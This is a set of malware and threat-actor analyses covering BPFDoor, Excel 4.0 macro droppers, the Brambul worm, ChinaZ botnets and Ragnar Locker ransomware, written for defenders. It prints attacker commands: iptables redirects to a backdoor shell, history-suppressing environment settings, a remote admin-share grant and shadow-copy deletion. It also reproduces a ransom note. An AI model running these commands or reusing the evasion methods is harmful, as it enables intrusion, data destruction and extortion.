The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only. ``` /sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392 /sbin/iptables -D INPUT -p tcp -s 192.168.1.1 -j ACCEPT ``` ## Connect-Back Bindshell The implant also has the ability to connect back to a host as defined in the magic packet. Operation here is largely the same, but this may not be as stealthy having a system connect outbound (and many organizations may block servers talking outbound). The first method of packet redirect is far more dangerous and harder to find as it will look like legitimate traffic going to the server and not originating outbound. ## Status Check As discussed above, if you do not supply any password or an incorrect password in a magic packet, the implant will simply send out "1" on UDP. We believe this is some kind of status check to allow keeping tabs on many systems. Organizations may want to consider running a network scan against their hosts sending a magic packet on ICMP, UDP, or TCP with a known UDP port you monitor to see if any systems respond. Any host responding has an active implant. ## Shell Anti-Forensics and Evasion The shell is spawned by forking a controller and finally the shell itself. The controlling PID will be masquerading running under the name: ``` /usr/libexec/postfix/master ``` The shell itself will be running under the name: ``` qmgr -l -t fifo -u ``` In the ps listing, you'll see the implant is restarted under a new bogus name. Then you see the two processes masking the shell operation when it is operating. The shell also sets up some anti-forensics for good measure. The environment is carefully selected to only have the following. We'll use `strings /proc/<PID>/environ` to look at what it is doing below: ``` root@bpfdoor:/# strings /proc/2500/environ HOME=/tmp PS1=[\u@\h \W]\\$ HISTFILE=/dev/null MYSQL_HISTFILE=/dev/null PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin vt100 ``` The implant is telling the shell to not log shell history and also does the same for MySQL. This means that the operators likely are doing a lot of work with MySQL to call this out specifically. The listing of kerberos in the path also means that kerberos authentication systems may be a frequent target. ## Sandfly Detection Although the implant takes many measures to hide, it is easily found if you know where and how to look. Sandfly finds it easily and would have been able to for quite a while now. A host running this backdoor will have many distinct and very severe Sandfly alerts that something is wrong. Although the techniques here will help incident responders investigate their hosts by hand, we offer a free 500 host license for Sandfly that will do it much faster and more completely. ## Conclusions This implant is well executed and layers known tactics such as environment anti-forensics, timestomping, and process masquerading effectively. The use of BPF and packet capture provides a way to bypass local firewalls to allow remote attackers to control the implant. Finally, the redirect feature is unique and very dangerous as it can make malicious traffic blend in seamlessly with legitimate traffic on an infected host with exposed ports to the internet. The code does not reveal much about the authors, but it clearly was done by someone that knows what they are doing with an intent to remain undetected. ## Indicators of Compromise Use these to help manually search for BPFDoor. Please see our Linux compromise cheat sheet for commands to help you with these checks. Do not use hashes to find this malware. Hashes work very poorly on Linux to find malware as the binaries are easily re-compiled and changed. This kind of malware needs tactics hunting to find it consistently. ### Hunting Tactics - Possible binary left behind if implant fails to load: `/dev/shm/kdmtmpflush` - Dropper if implant active or did not clean up: `/var/run/haldrund.pid` - Deleted process called kdmtmpflush or similar. - Processes missing environment variables. - Any process running from /dev/shm. - Any process operating with a packet socket open that you don't recognize as needing that kind of access. - Process stack trace showing kernel function calls involved with packet capture: ``` grep packet_recvmsg /proc/*/stack grep wait_for_more_packets /proc/*/stack ``` - Unusual redirect rules in iptables. - Any process bound to TCP port 42391-43391 as a listening service. - System boot scripts referencing unusual binaries or strange path locations. - UDP outbound traffic containing only the data "1" perhaps from many hosts back to a single IP for status checks. - Low bandwidth intermittent data streams to ports where you'd expect high traffic. For instance, someone using an interactive shell sending manual commands with long latency between packets (e.g., using a bindshell backdoor) would be an unusual pattern on a webserver pushing big data over TCP port 443 to web browsers.
# Evolution of Excel 4.0 Macro Weaponization **Abstract** Excel 4.0 (XL4) macros are becoming increasingly popular for attackers, as security vendors struggle to detect them properly. This technique provides attackers a simple and reliable method to get a foothold on a target network, as it represents an abuse of a legitimate feature of Excel and does not rely on any vulnerability or exploit. For many organizations, blacklisting isn’t a viable solution, and any signatures to flag these samples must be precise enough not to trigger on files that leverage this feature legitimately. As this is a 30-year-old feature that has only been discovered and exploited en masse by attackers in the last year, many security vendors do not currently have detection mechanisms in place to trigger on these samples, and building reliable signatures for this type of attack is not a small task. The Lastline Threat Research Group has observed thousands of samples leveraging this technique and has been monitoring and tracking trends for the last 5+ months. Intercepting these samples has provided valuable data to build statistics, identify trends, find outliers, and track campaigns. We were able to cluster samples into distinct waves, which clearly display how this technique has evolved through time to become more sophisticated and more evasive. As XL4 macros represent somewhat “uncharted territory,” malware authors and security researchers are making new discoveries daily, pushing the boundaries of this technique and identifying ways to evade detection and obfuscate their code. The techniques employed by these attackers include ways to evade automated sandbox analysis and signature-based detection, as well as hands-on analysis performed by malware analysts and reverse engineers. As previously mentioned, these techniques appear to surface in waves, with each new wave introducing new techniques, building on the previous wave or cluster. Techniques used in the first wave of samples we observed in February are still being leveraged in samples being discovered today. In this blog post, we describe each wave and cluster in detail, by breaking down every new technique discovered, and explaining why each is significant, effective, or ineffective. **Executive Summary** Through clustering thousands of samples and performing in-depth code-level analysis of each cluster, we were able to visualize and witness the evolution of this threat. We found that roughly every 1-2 weeks, a new wave of samples emerged, each more evasive and sophisticated than the last. Each of these waves appeared to build on its predecessor, extending its functionality by introducing new techniques on top of what already was being used. The size of these clusters suggests that these samples are being generated with some sort of toolkit or document generator, as these samples resemble one another too closely to not be related. Evasion routines and obfuscation were the primary areas of evolution, as the base functionality of these samples remained the same – download and invoke a more persistent payload, such as an EXE or DLL file. **Introduction** Excel 4.0, or XLM macros, is a 30-year-old feature of Microsoft Excel that has been gaining popularity among malware authors and attackers, especially over the last year. This type of macro code is actively being abused and weaponized by attackers to deliver additional, more persistent malware. What makes this technique effective is that much like the more popular and up-to-date VBA macros, Excel 4.0 macros are a component of legitimate Excel functionality, thus will likely never be disabled, as they are used regularly for benign business purposes. For example, the commonly used SUM function is used in many spreadsheets to obtain the sum of a range of cells. Macros of this type are commonly referred to as “formulas.” This technique has been effective because although it is an old feature, security vendors may not have yet devised detection techniques for this type of attack. On top of this, organizations will likely never be able to disable this feature in Excel, due to the fact that it is used regularly for legitimate purposes. For this reason, malware authors now have another reliable method for initial access, as these malicious documents are being successfully delivered via email attachments. **The Problem** Security vendors are having difficulty detecting this threat, likely due to not having solutions in place to properly assess and parse the format and structure of how these macros are stored in Excel documents. These macros are very straightforward and easy to create, thus easy to modify to bypass signature-based detection. Macros are also robust and provide various functions that can be leveraged to evade analysis, such as obfuscating the final payload, modifying the control flow, or detecting automated sandbox analysis through specific host environmental checks. This technique will likely remain relevant, and join its successor (i.e., VBA macros) as a widely used technique to weaponize document files. This technique does not rely on a bug, it is not an exploit, but it simply abuses legitimate Excel functionality. These macros can be set to auto-execute and run as soon as a workbook is opened if macros are enabled. As this is somewhat uncharted territory, malware authors and researchers are still exploring the depths of possibilities and capabilities of weaponizing this attack technique. **Contribution** The Threat Research Group at Lastline has clustered and analyzed thousands of XL4 samples, as we have been tracking and monitoring this threat for over five months. We were able to cluster and classify these samples into clear waves or trends. The bulk of these samples appear to be created with the same toolkit or document generator, as each wave builds on the previous, adding new functionality with each iteration. This additional functionality typically consists of more sophisticated obfuscation or evasion routines. These stage-1 spreadsheet samples are in turn delivering a variety of commodity malware families, such as Danabot, ZLoader, Trickbot, Gozi, and Agent Tesla. **Evolution Timeline** The timeline below displays how these macros have evolved over the past four months. Each block represents a significant wave or cluster that exhibited new behavior and functionality that we had not yet observed at scale. We will elaborate on each cluster in greater detail in the following sections. **Evolution Breakdown** **Cluster 1: ~2020.02.14** This set of samples is the first significant wave of weaponized XL4 documents we observed. These samples all contain a hidden macro sheet that holds the payload, and also an image that is used to social engineer the user into enabling the macro code. The techniques introduced in this cluster will be leveraged and built upon by almost all the waves that followed. Unhiding the hidden macrosheet shows the payload, which is not obfuscated in any way. **Evasion Routine:** 1. A sandbox check is performed by requiring user interaction with a message box. If “OK” is clicked in the message box, the next check in the evasion routine is performed; otherwise, the macro will exit. 2. Additional sandbox evasions commence, this time using the GET.WORKSPACE function. This function will provide information about the environment that the Excel spreadsheet is being viewed in. The two checks are for mouse capability and audio capability. The malware exits if either of these two conditions are not met. 3. An additional check for the victim’s OS commences. This is performed through checking for the string ‘Windows’ being present in the return value of the call to GET.WORKSPACE. **The Download:** An additional payload – a cell formula – is downloaded via a web query. These web queries are stored in the DCONN (data connection) record type. The data from this network connection will be written to cells mapped to the name fgsb4g, which the Excel name manager shows are range $Y$100:$Y$103. A small loop is then created between two cells that check whether the payload was downloaded successfully. These cells are checking for the string “LOS” anywhere within cell Y103. This is because at the end of the downloaded cell formula payload, the malware calls =CLOSE(). **Cluster 2: ~2020.02.26** The second cluster of February added minor obfuscation through hiding the payload by using a white font on a white background and by scattering the code around the worksheet. This makes following control flow and identifying important code blocks a bit more challenging for manual analysis, but should cause no significant issues for dynamic analysis. **Cluster 3: ~2020.02.27** This cluster protects itself more than the previous clusters, as it hides the payload in a veryhidden macro sheet instead of a hidden macro sheet. This means that the macro sheet cannot be unhidden via the traditional method in Excel, but instead a specific flag in the binary must be modified in order to unhide and view the contents of the worksheet. Once unhidden, this macro appears to extend on the dynamic analysis evasion routines from Cluster 1 by performing additional guest OS environmental checks. These two new checks also use the previously mentioned GET.WORKSPACE function, but this time they attempt to identify the height and width of the workspace. **Cluster 4: ~2020.03.06** The new techniques introduced by this cluster include building a path to three different files, one being a VBS script, which is a technique we didn’t see in previous clusters. These paths will be used by the downloaded formula, the payload, using the same DCONN web query described previously. Also, instead of FORMULA.FILL being used to move the downloaded payload around the sheet, FORMULA is used. This minor change is likely an evasion to signature-based detection of the previously used FORMULA function. **Cluster 5: ~2020.03.10** This cluster is the first batch of samples where we observed heavy usage of the CHAR function. This function translates an integer to its corresponding ASCII character. For example: CHAR(0x41) resolves to ‘A’. These characters are resolved, then concatenated one at a time to build the final payload. This is a common obfuscation technique across a variety of file formats and languages, but this is the first time we have seen the technique used in Excel 4.0 macros. Within this same timeframe, we also observed the first large wave of samples that directly invoked the WinAPI (URLDownloadToFile) via the CALL function instead of the previously mentioned DCONN download method, which is likely used to evade static detection of the prior download technique. **Cluster 6: ~2020.03.30** The added functionality of this cluster includes a check for a non-default Excel Security setting in the registry as a possible dynamic analysis evasion, and the use of the WinAPI to register a DLL to execute the second stage payload. The code shows that the native utility reg.exe will be spawned to extract a specific registry key and write it to a registry file on disk. This registry file is then read from bytes 215:470. The purpose of this read is to find and store the Excel Security-related registry settings of interest that the malware will check. **Cluster 7: ~2020.04.01** This cluster expects to be executed on a particular day, as it uses the current day of the month in a part of the deobfuscation routine. Hardcoded integers will be subtracted from the current day of the month, and the difference will then be passed to the CHAR function. If run on the incorrect day of the month, the XL4 macro will not deobfuscate and execute properly. **Cluster 8: ~2020.04.14** Like the previous cluster, this cluster must also be executed on a particular day, but a new check is added to query the font size and row height. GET.CELL is used for both of these checks. The result of these operations is written to cell AA181, which is used repeatedly during the deobfuscation routine. If these dimensions are not precisely as the malware authors expected, the payload will not be deobfuscated properly, and the second stage download will not occur. **Cluster 9: ~2020.04.25** The new technique introduced in this cluster employs dozens of independent macrosheets, whereas all previous clusters used only one or two sheets. We believe this is intended to have the sample blend in with benign workbooks, which tend to have a higher number of macro sheets than the malicious samples do. It also may be used to slow down malware analysts who will have to identify where the payload lies across the 20+ macro sheets. Another interesting characteristic is that instead of the typical Auto_Open name for the automatic execution of the payload, the malware author has named it Auto_Open22, which still executes as a normal Auto_Open routine. **Cluster 10: ~2020.05.04** For the first time, we observed hidden names being leveraged to hide the starting point of Excel 4.0 macro code in a large cluster. This is likely an attempt to thwart static parsing and analysis. This is achieved through setting the fHidden bit in the Lbl record for the defined name. This cluster also leverages an interesting deobfuscation routine, which is a bit different from what we have seen in previous clusters. Although we have seen control-flow obfuscation through GOTO and RUN functions, this cluster adds a step through setting a value to a cell for later use in the routine. **Cluster 11: ~2020.05.11** This cluster introduces a few interesting evasion techniques by detecting window activity. These macros attempt to identify if the Excel window is hidden or maximized, through three different usages of GET.WINDOW(). If the Excel window is not maximized, the malware will exit prior to exhibiting any interesting behavior. An additional evasion technique introduced in this malware is identifying if the malware is being debugged/analyzed. This is achieved through checking if the macro is being run in Single Step mode. **Cluster 12: ~2020.05.19** Almost all previously mentioned clusters leverage the CHAR function heavily during their deobfuscation routines to build the final macro payload character by character. This cluster changes the original technique by using the MID function instead of the CHAR function. The MID function is used to extract a substring from a string by providing an index number for where to start, as well as the length of the text to extract. Instances of this function are being concatenated and passed to the FORMULA function to deobfuscate the final payload at runtime. This cluster also leverages the FILES function. Before downloading the next stage, the malware first checks to see if it can access the Internet by connecting to microsoft.com, and then checking that the requested download succeeded. **Conclusion** Excel 4.0 macros continue to prove their value to attackers, providing a reliable method to get their code to run on a target. In many environments, Excel worksheets with macros are used too heavily for legitimate business purposes to disable or blacklist, thus analysts and security vendors will have to get used to consistently updating tooling and signatures as attacks continue to evolve. Excel 4.0 macros provide a near endless list of possibilities for malware authors and are evolving, becoming more sophisticated each day.
# Lateral Movement Technique Employed by Hidden Cobra US-Cert recently issued notification regarding malicious cyber activity by the North Korean government, known as Hidden Cobra. There are two families of malware used by the North Korean Government: - Remote Access Tool (RAT) known as Jonap - A Server Message Block (SMB) worm called Brambul worm. As per the US-Cert report, Hidden Cobra has been using this malware since 2009 to target multiple victims globally and in the United States, including media, aerospace, financial industries, and critical infrastructure sectors. In this blog, we share the technical details and spreading techniques used by the Brambul worm. Thereafter, we discuss how it can be detected by a distributed deception platform. ## Brambul Worm The worm invokes multiple threads which then randomly generates IP addresses for infection. Once the victim’s IP addresses have been generated, it connects to \\IPC$ share on the port 445 of the victim machine using Administrator as the username and fixed hardcoded passwords. Thereafter, the malware code makes a call to the WNetAddConnection2 API to connect to a network resource and constructs the below command: ``` cmd.exe /q /c net share admin$=%%SystemRoot%% /GRANT:%s, FULL ``` It then makes calls to the service manager, OpenSCManagerA() with the victim machines on the network as the parameter. StartServiceA() then executes the command which grants full permission on the remote machine. Once the command has been executed, the code makes a call to DeleteService() which then deletes the service. Once the full permission is granted on the remote machine, the worm is copied to the remote machine. ## Detection by Distributed Deception Platform As such, the worm is not quite sophisticated and primarily relies on brute force attempts. This will be successful only in weak environments. If a Distributed Deception Platform is deployed in a threat agnostic manner, network enumeration by the Brambul Worm will get detected with very high confidence. Brute force attacks on the Distributed Deception Platform lead to isolation of the end-point, thereby containing damage in a timely manner.
# ChinaZ Revelations: Revealing ChinaZ Relationships with other Chinese Threat Actor Groups ## Introduction Distributed denial-of-service (DDoS) attacks were on the rise in 2018, ranging from a high volume of Mirai attacks to more sophisticated botnets targeting enterprises. An example of these attacks is the one targeting GitHub in February 2018, forcing the website to go offline for approximately 10 minutes. In researching the current DDoS ecosystem, we find threat actors from different regions displaying different motivations. Chinese threat actors, in particular, have predominantly deployed DDoS attacks in their cyber campaigns, and China has emerged as having one of the highest rates of DDoS attacks. In this blog, we will discuss the current state of a well-known Chinese threat actor group known as ChinaZ, notorious for targeting Windows and Linux systems with DDoS botnets since November 2014. We will explain how we first came across ChinaZ, along with the various methods employed to discover more of the group’s servers. Additionally, we will analyze the types of files hosted on the servers and conclude with a technical analysis highlighting potential connections that could relate various Chinese actors in the current DDoS landscape such as Nitol, MrBlack, and some minor relations to Iron Tiger APT. These relationships will be discussed in the technical analysis section. ## Initial ChinaZ Discovery via Honeypot Hit In the last few months, we have observed a higher volume of attacks from Billgates, a DDoS botnet attributed to ChinaZ, a well-known Chinese threat actor notorious for deploying a series of botnets primarily targeting Linux systems. ChinaZ was fairly active in 2018 based on previous hits that were encountered in our honeypots. An example of an attack vector via SSH/Telnet bruteforce employed by ChinaZ can be seen in the following session log from one of our honeypots: The downloader bash script seems to be fairly simple in logic by changing directories from /root to /tmp once it detected that the dropped implant could not be executed after several attempts changing its file permissions. Once we accessed where the script was trying to download its corresponding files, we found that there were files being hosted in a Chinese Http File Server (HFS) panel. We discovered the server was online for less than 24 hours, and that all of the files were uploaded on that same day. We decided to observe this and other servers and conduct a tracking investigation with the intention to collect all of the information we could about the botnet infrastructure. ## Observing ChinaZ ChinaZ is known to use Chinese Http File Server (HFS) instances, and unlike other major DDoS botnets such as Mirai, ChinaZ operates mostly on Windows Servers. In this particular HFS server, we see various hosted files. The two Linux prefixed files are both regular Billgates builds. We can confirm this based on code reused from other samples. Since BillGates is a well-known botnet and there are plenty of well-written technical analysis articles about the botnet and its relations to ChinaZ, we have decided to not cover its technical analysis for the sake of simplicity. These builds are default BillGates instances. Among the hosted files in the HFS server, we can also find a PE executable labeled as BX.exe, which is a Gh0st RAT variant. Furthermore, this Gh0st RAT instance decodes the same CNC address. Since both BillGates and the Gh0st RAT instances found in the initially discovered HFS panel shared the same CNC, we can associate both implants to be components of a single botnet targeting both Linux and Windows systems. This same scenario was presented by Avast researchers as the Chinese Chicken DDoS botnets by exposing a series of multi-platform Chinese DDoS tools. After one day, threat actors behind this botnet updated the HFS panel by uploading two ChinaZ.DDoSClient samples compiled for x86 and x86_64 systems accordingly. DDoSClient malware is a DDoS client known to be leveraged by ChinaZ. As an interesting fact about the progression of this threat actor group, at some point in time the source code of this client was hosted in GitHub, although DDoSClient was originally code of ChinaZ. MalwareMustDie exposed this source code and the actor’s identity. The actor behind this client was a student hired by ChinaZ. Furthermore, we can find a compressed archive labeled as ‘Black Wolf Linux Blasting V4.0’ in Chinese among the different binaries hosted in the HFS server. Inside this RAR file, we encounter the following files. Most interestingly, the contents of this compressed file appear to be a Chinese DDoS tool. The tool enables users to edit which files will be used on deployment, and other related configurations such as the timeout. We observed this specific DDoS tool advertised in a range of Chinese forums. If we analyze one of the scripts inside the zip file and compare it with our initial honeypot hit log, we can assume that the attack was deployed using this tool. We are not sure whether this Chinese DDoS tool was distributed by ChinaZ, or if the group purchased this tool in order to use it in its campaigns. The server was online for one more day before it went offline. This behavior suggests that actors behind this botnet may have migrated to a different CNC server, they were performing some internal management, or that it was merely part of the way they operate since we have seen this same behavior tracking their other servers. ## Hunting for Additional ChinaZ Servers We decided to look up the specific CNC domain name seen in the BillGates and Gh0st RAT instances found in the initial HFS server, to see if this domain had multiple resolutions in order to find more potential servers linked to this botnet. When we searched the domain on RiskIQ, we found the following: All of the shown IPs denote a server that would resolve to “ak-74.top”, the CNC address seen in the first HFS server. Based on these resolutions, we were able to find other panels like the following. We instantly recognize the same pattern in terms of the naming convention as well as the types of files that were hosted in this HFS server. In contrast with the previous HFS server, this server is only hosting Windows binaries and a zip file. The 7z compressed file contained the following files: These files appear to be composing a Port Scanner tool written in Python that could also be used to deploy DDoS attacks. We also used Shodan to hunt for more operative ChinaZ HFS servers. We did this by filtering Shodan’s query for the appropriate service and country. Leveraging Shodan, we were able to find many other ChinaZ linked servers, in which we collected additional relevant samples. After we discovered several ChinaZ servers and we collected their correspondent hosted files, we found interesting correlations and relationships which we will discuss in the next section. ## Technical Analysis Throughout the investigation, we found several interesting facts among the artifacts we collected and analyzed. The following is a brief summary of our findings: ### Gh0st RAT Clients The Gh0st RAT clients we discovered among several HFS servers all appear to be modified instances of Gh0st RAT that share notable characteristics. These Gh0st RAT variants are found hosted in different HFS servers with the names BX.exe or shadow.exe. We can observe similarities in different functions from the open-source version hosted in GitHub. Regarding this Gh0st RAT variant, if we take a closer look, we observe that it has similarities with the Gh0st RAT instance deployed on Operation PZCHAO by Iron Tiger APT, an APT group with also alleged Chinese origin. The RC4 key used to decrypt the CNC is the same as the one used in the PZCHAO campaign, “Mother360”. Based on a Bitdefender blog post about operation PZCHAO, this same cryptographic key was not only used to decode the malware’s CNC addresses but also was the key used to decrypt traffic between the client and the CNC. We also see code similarities from both Gh0st RAT variants apart from the used RC4 function. Although these two Gh0st RATs may share common code, it is important to understand how to interpret these similarities. ChinaZ has been known to employ DDoS botnets in its campaigns as previously mentioned. Usually, APT groups do not rely on DDoS attacks. These similarities may not necessarily correlate ChinaZ and Iron Tiger APT, but instead it may be evidence of the existence of a common Gh0st RAT variant shared within the Chinese community, by having the possibility to have ‘Mother360’ as one of the default hard-coded keys. ### Infected Compressed Files with Nitol Artifacts Among some of the HFS panels found, we observed that some of the panels were hosting DDoS tools. Inside these compressed files, we can see that they contain varying components. However, among all of the files found in these compressed files, the most notable file was a DLL labeled as lpk.dll that appeared in every hosted compressed archive that we found. This DLL has been known to be hijacked in the past by Nitol, a Chinese DDoS botnet targeting Windows systems that propagated infected trusted software by exploiting the Windows Module Loading process. This was achieved by placing a malicious lpk.dll within the file system meant to take precedence against the genuine lpk.dll on load-time since this DLL is known to be loaded in every process by being a component of Microsoft Language Pack. We can confirm this lpk.dll instance is the Nitol DLL from code reuse. This finding may lead to different interpretations. One may directly link Nitol to ChinaZ and argue that they are hosting infected compressed archives as a way to spread and compromise systems. However, it is known that the Nitol botnet was seized by Microsoft in 2012, although there are reports that document Nitol activity from 2016 onwards. Therefore, we can interpret this finding from a different standpoint, and raise the possibility that actors behind this botnet are operating on infected physical Windows systems, and consequently deploying malware infected with previous malware belonging to older campaigns, therefore indirectly linking Nitol and ChinaZ. In addition, as a fact supporting this theory was that after analysis, this specific DLL failed to connect to its correspondent CNC, but at some point in the infection chain, a parite file infector was also dropped from both the Nitol DLL implants as well as from the hosted Windows Gh0st RATs. It is known that in 2010 there was a strong infection wave of Chinese servers that are still operative deploying infected malware. This may be why we can find parite drops from files hosted in these servers. ### Further Connections between ChinaZ and Nitol MrBlack is an IoT botnet also known to have Windows variants. As documented by MalwareMustDie, MrBlack is the simplified version of AES.DDoS, an ELF DDoS tool with Chinese origin that was in circulation before ChinaZ was ever established. Therefore, there are not direct correlations between MrBlack and ChinaZ. However, we spotted MrBlack samples being hosted along with known ChinaZ malware. In addition, if we analyze the results on string reuse of MrBlack samples, often we can see a high volume of strings reused from ChinaZ malware. We can see that this instance of MrBlack shares 10 genes with ServStart, a trojan associated with the Nitol family. After analysis of these 10 genes, we observed that this instance of MrBlack shares the exact SYN flood function as in the ServStart instance. To reinforce this connection between MrBlack and ServStart, we discovered a panel where we found two instances of Linux/MrBlack along with seven instances of a variant of ServStart. It is important to note that these newer ServStart variants have a recent compilation timestamp, and it was only submitted to VirusTotal one week ago from today. We found several nearly identical functions reused from previous variants of ServStart. The relationships described above validate the previous linkage between Nitol and ChinaZ, which could insinuate that these two threat actor groups may be related or may have collaborated together. ## Conclusion We have covered how we have tracked ChinaZ and collected some up-to-date information about this threat actor group. We have found potential connections that could relate various Chinese actors in the current DDoS landscape. ChinaZ is hosting instances of Linux and Windows builds of MrBlack, and Windows versions have shown code reuse connections with old ServStart variants. Furthermore, we have spotted newer versions of ServStart being hosted along with MrBlack Linux instances. Therefore, there may be a relationship between MrBlack and ServStart actors, indicating a potential relationship between ChinaZ and Nitol families. In addition, ChinaZ Windows components have been seen infected with Nitol components, suggesting that these actors may have been operating in servers already infected with Nitol. This enforces the hypothesis that there may be deeper relationships between these two threat groups. ChinaZ has always been a relatively active threat actor group that is slowly evolving in sophistication even though it is not making many changes to its overall infrastructure from early stages.
# Analysis of Ragnar Locker Ransomware ## Summary - First discovered in April 2020. - Uses the increasingly popular “double extortion” tactic, in which the attacker first exfiltrates sensitive data, then triggers the encryption attack, threatening to leak the stolen data if the target refuses to pay the ransom. - Has 10 known victims to date whose data have been published on the data leak site. - Uses a specially-crafted virtual machine image for its payload execution in order to evade anti-malware detection. - Uses the Salsa20 encryption algorithm (which is too strong to decrypt using brute-force methods) for file encryption and RSA-2048 to encrypt file keys. - Uses CVE-2017-0213 vulnerability to elevate privileges via COM objects. ## Delivery of Ragnar Locker The threat actor begins the attack by compromising the company’s network via RDP service, using brute force to guess weak passwords or with stolen credentials bought on the Dark Web. Next, the attacker performs second-stage reconnaissance. To elevate privileges, the attacker exploits the CVE-2017-0213 vulnerability in the Windows COM Aggregate Marshaler to run arbitrary code with elevated privileges. Having achieved privilege escalation, the attacker sometimes deploys a VirtualBox virtual machine (VM) with a Windows XP image to evade detection: an early use of a virtual machine image in this manner to run the ransomware encryption attack. The technique has been adopted since by the Maze family of ransomware operators. The specially-crafted VM image is loaded to the VirtualBox VM, mapping all local drives as read/writable into the virtual machine. This allows the ransomware process running inside the VM to encrypt all files. To the host files, the encryption appears to be a trusted VirtualBox process and thus will be ignored by many security products. Next, the Ragnar Locker operator deletes any extant shadow copies, disables any detected antivirus countermeasures, and uses a PowerShell script to move from one company network asset to another. Finally, before launching Ragnar Locker ransomware, the attacker steals sensitive files and uploads them to one or more servers to publish them if the victim refuses to pay the ransom. ## Obfuscation The ransomware code is protected with obfuscation techniques that include adding junk code as well as encryption. The sample code snippet below shows such junk arithmetic instructions, the results of which are not used: After performing its most resource-intensive operations, Ragnar Locker allocates 7680 (1E00) bytes of free memory space in the current process via VirtualAllocEx(). It then fills the memory space with shellcode to run it. The shellcode’s main goal is to allocate the ransomware executable in memory and call it. The first call of VirtualAlloc() allocates 9218 bytes of memory to store the encrypted payload. The second call of VirtualAlloc() allocates 48640 (BE00) bytes of memory to store the decrypted payload (PE file). The hashes of the decrypted payload are as follows: - MD5: 6360B252B21FE015D667B093F6497E33 - SHA256: 1DE475E958D7A49EBF4DC342F772781A97AE49C834D9D7235546737150C56A9C After resolving the address of the .text section, the ransomware jumps to the original entry point (OEP) of the unpacked sample. ## Locale Check Ragnar Locker checks the locale info to avoid CIS countries from being infected. It identifies the following languages for exclusion: It uses GetLocaleInfoW() with LANG_SYSTEM_DEFAULT and LOCALE_SENGLISHLANGUAGENAME to retrieve the operating system default language of the victim’s machine. If the machine’s default language matches one on the CIS list, the ransomware process is terminated with the “666” exit code. ## Command-line Arguments Ragnar Locker can be run with ‘-list’ or ‘-force’ command-line options. The “-list” argument is passed with a file containing the list of files to be encrypted. The ‘-force’ argument is passed with a path pointing to where the encryption should start. By default, the ransomware is run without any command-line options, thereby encrypting the whole system. ## Ragnar Locker Encryption The payload PE file contains a section with the name “.keys” in which the crypto keys and obfuscated configuration strings are stored. The ransomware uses hardcoded obfuscated strings, decrypted in runtime. The first decrypted value is a unique sample ID. Next, it references a list of services to be terminated by Ragnar Locker that include strings related to backup and antivirus solutions (such as ‘sophos’ and ‘veeam’), as well as remote management software (RMM) tools like ConnectWise and Kaseya that are typically used by managed service providers (MSPs). The blacklist of processes includes text, database, and email processors. As a result, after terminating the processes, valuable target files such as documents and emails are released and available for encryption. The embedded master RSA-2048 public key uses the PEM format. The hardcoded ransom note includes the name of the target organization. Ragnar Locker generates two key data arrays of 40 bytes and 32 bytes for use by Salsa20 cipher. A custom-named GenKey function uses CryptGenRandom(), then manually initializes a SHA-512 hash with corresponding constants and effects some permutation to encrypt using randomly-generated keys. These keys are encrypted by the master RSA-2048 public key and added to the footer of a file. To import a RSA-2048 key, the ransomware decodes it from Base64, then executes CryptDecodeObjectEx() to decode the structure of the RSA-2048 key. After getting the value ‘1.2.840.113549.1.1.1’ -- which stands for RSAES-PKCS1-v1_5 encryption scheme -- Ragnar Locker imports the public key by using CryptImportPublicKeyInfo(). With the keys for encryption in hand, the malware next deletes any extant shadow copies by running processes with the following commands: - Wmic.exe shadowcopy delete - Vssadmin delete shadows /all /quiet Ragnar Locker then commences the encryption process in 64 simultaneous threads. A whitelist includes the following folders, files, and extensions to skip during encryption. Ragnar Locker uses the Salsa20 encryption algorithm with a custom matrix, which is filled in with generated keys placed in rearranged order. The matrix used for Salsa20 is 64 bytes in size, where 8 bytes defines the stream position, so the ransomware removes 16 bytes from the second key to be matched with the matrix size, and leaves the stream position values with zero bytes. Ragnar Locker randomizes file extensions per user by retrieving the computer name value and passing it to the next piece of code. As output from the code above, ransomware gets 8 bytes and creates the ‘ragnar_{computer_id}’ string to append it to the filename. The encrypted file contains the encrypted Salsa20 key data (40+32 bytes) with the signature ‘_RAGNAR_’ added to the footer at the very end. To complete the ransom note, Ragnar Locker adds a hardcoded company_id encoded with Base64. The ransom note file is named RGNR_{computer_id}.txt: ``` ***************************************************************************************************************** HELLO EDP.com ! If you are reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** !!!!! WARNING !!!!! DO NOT Modify, rename, copy or move any files or you can DAMAGE them and decryption will be impossible. DO NOT use any third party or public decryption software, it also may damage files. DO NOT Shutdown or reset your system ------------------------------------- There is ONLY ONE possible way to get back your files - contact us and pay for our special decryption key ! For your GUARANTEE we will decrypt 2 of your files FOR FREE, as a proof of our capabilities Don't waste your TIME, the link for contacting us will be deleted if there is no contact made in the closest future and you will never restore your DATA. HOWEVER if you will contact us within 2 days since getting penetrated - you can get a very SPECIAL PRICE. ATTENTION ! We had downloaded more than 10TB of data from your file servers and if you don't contact us for payment, we will publish it or sell it to interested parties. Here is just a small part of your files that we have, for proof (use Tor Browser to open the link) : http://p6o7m73ujalhgkiv.onion/?p=171 We gathered the most sensitive and confidential information about your transactions, billing, contracts, clients, and partners. And be assured that if you wouldn't pay, all files and documents would be published for everyone's view and also we would notify all your clients and partners about this leakage with direct links. So if you want to avoid such harm to your reputation, better pay the amount that we are asking for. ============================================================================================================== ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTACT WITH US VIA LIVE CHAT ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! a) Download and install TOR browser from this site : https://torproject.org b) For contact us via LIVE CHAT open our website : http://mykgoj7uvqtgl367.onion/client/?6bECA2b2AFFfBC1Dff0aa0EaaAd468bec0903b5e4Ea58ecde3C264bC55c7389E c) For visit our NEWS PORTAL with your data, open this website : http://p6o7m73ujalhgkiv.onion/?page_id=171 d) If Tor is restricted in your area, use VPN When you open LIVE CHAT website follow rules : Follow the instructions on the website. At the top, you will find CHAT tab. Send your message there and wait for a response (we are not online 24/7, so you have to wait for your turn). ``` ``` *********************************************************************************** ---RAGNAR SECRET--- 